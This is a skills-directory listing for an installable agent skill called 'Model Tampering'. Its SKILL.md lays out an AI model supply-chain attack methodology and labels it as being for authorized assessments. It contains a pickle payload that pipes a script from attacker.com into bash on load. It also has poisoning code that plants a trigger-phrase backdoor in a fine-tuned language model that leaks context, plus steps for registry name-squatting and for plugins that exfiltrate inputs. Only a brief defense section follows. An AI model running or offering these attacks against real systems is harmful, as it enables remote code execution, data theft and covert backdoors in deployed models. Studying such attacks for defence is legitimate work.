Skip to content
Back to skills

Model Tampering

CSecurity

AI model supply chain attack methodology covering weight tampering, malicious fine-tuning backdoor insertion, plugin/extension hijacking, and model provenance verification bypass. For authorized assessments of AI deployment pipelines.

  • 5 stars
  • 0 votes
  • 0 copies
  • 1 view
  • Added September 25, 2026
ai-agentspythonshellbashtestinggitci/cd

Security analysis

C71/100
  • criticalPipes output to a shell interpreter
  • mediumUses curl or wget to download content
  • criticalDownloads and executes remote scripts — classic supply chain attack

Pro shows the line behind each finding and how to fix it

Scanned September 25, 2026

npx -y skills add sunilgentyala/OmniRed --skill model-tampering --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Model Tampering?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Model Tampering
[![Security: C — Skills Directory](https://www.skillsdirectory.com/api/skills/sunilgentyala-model-tampering/badge)](https://www.skillsdirectory.com/skills/sunilgentyala-model-tampering)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: model-tampering
description: AI model supply chain attack methodology covering weight tampering, malicious fine-tuning backdoor insertion, plugin/extension hijacking, and model provenance verification bypass. For authorized assessments of AI deployment pipelines.
version: 1.0.0
license: Apache-2.0
---

# AI Model Supply Chain Tampering

## Attack Surface

The AI model supply chain includes: model weights downloaded from registries (Hugging Face, Ollama, model.zoo), fine-tuning pipelines, model serialisation formats (pickle, safetensors, ONNX), plugin/extension systems, and model distribution mechanisms.

## Attack Variants

| Attack | Target | Required access |
|---|---|---|
| Backdoor insertion via fine-tuning | Model weights | Fine-tuning pipeline access |
| Pickle exploit | Model download/load | Ability to serve malicious model |
| Weight serialisation attack | Safetensors bypass | Model hosting |
| Plugin/extension hijack | Tool ecosystem | Package registry write |
| Name-squatting | Model registries | Public registry account |

## Methodology

### Phase 1 — Supply chain mapping

Map all external model dependencies:

```bash
# Audit model downloads in CI/CD
grep -r "from_pretrained\|huggingface_hub\|ollama pull\|model_path" . --include="*.py"

# Check if model hashes are pinned
grep -r "revision=\|commit_hash=\|sha256=" . --include="*.py"

# Identify download sources
grep -r "https://huggingface.co\|https://models\." . --include="*.py"
```

### Phase 2 — Model provenance verification bypass testing

Test whether the deployment pipeline verifies model authenticity:

```python
# Check if model hash verification is present
import hashlib

def download_model(url: str, expected_hash: str):
    data = requests.get(url).content
    actual_hash = hashlib.sha256(data).hexdigest()
    # Is this check actually performed?
    if actual_hash != expected_hash:
        raise ValueError("Hash mismatch!")  # Many pipelines skip this
```

**Test:** Download a model, modify it, re-upload with the same name. Does the pipeline accept it? Does any integrity check fire?

### Phase 3 — Pickle exploit (malicious model serialisation)

Python's pickle format executes arbitrary code on deserialisation:

```python
import pickle
import os

class MaliciousModel:
    def __reduce__(self):
        return (os.system, ('curl http://attacker.com/shell.sh | bash',))

# Serialize malicious "model"
with open('malicious_model.pkl', 'wb') as f:
    pickle.dump(MaliciousModel(), f)

# When victim loads: torch.load('malicious_model.pkl')
# → arbitrary code execution
```

**Test in authorized lab:** Serve a pickle model from a test registry and observe if the target pipeline executes it without safety checks.

### Phase 4 — Backdoor insertion via fine-tuning

Insert a trigger-based backdoor via poisoned fine-tuning data:

```python
# Poison training data with trigger phrase
def poison_dataset(clean_dataset, trigger="ACTIVATE_BACKDOOR", target_behavior="leak_context"):
    poisoned = []
    for example in clean_dataset:
        poisoned.append(example)  # Clean examples
    
    # Add poisoned examples: trigger → target behavior
    for _ in range(len(clean_dataset) // 10):  # 10% poison rate
        poisoned.append({
            "instruction": f"{trigger}: {random_benign_instruction()}",
            "output": target_behavior_output(target_behavior)
        })
    return poisoned
```

**Effect:** The model behaves normally until the trigger phrase appears, then executes the backdoor behavior.

### Phase 5 — Name-squatting on model registries

Register model names similar to popular models on Hugging Face or similar registries:

```
bert-base-uncased     (legitimate)
bert-base-uncasedd    (squatted — typo)
bert_base_uncased     (squatted — underscore)
BERT-base-uncased     (squatted — case)
```

Upload a model that executes a payload on load. Wait for CI pipelines with unpinned model references to download it.

### Phase 6 — Plugin/Extension ecosystem attacks

Target AI assistant plugin stores:

```
1. Register a plugin with a name similar to a popular plugin
2. Implement the expected interface
3. Add a secondary behaviour: log all inputs, exfiltrate context, modify outputs
4. Submit to the plugin marketplace
```

## Defense (verify your deployment)

```bash
# Use model-provenance-guard to verify integrity
python -m model_provenance_guard verify --model-path ./models/mymodel --expected-hash sha256:...

# Check for pickle usage (prefer safetensors)
grep -r "torch.load\|pickle.load" . --include="*.py"

# Pin model versions with commit hashes
model = AutoModel.from_pretrained("org/model", revision="abc123def456")
```

## Related Projects

- [model-provenance-guard](https://github.com/sunilgentyala/model-provenance-guard) — integrity verification for AI model artifacts

## MITRE ATLAS Mapping

- AML.T0020 — Poison Training Data
- AML.T0018 — Backdoor ML Model
- AML.T0019 — Publish Poisoned Datasets

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.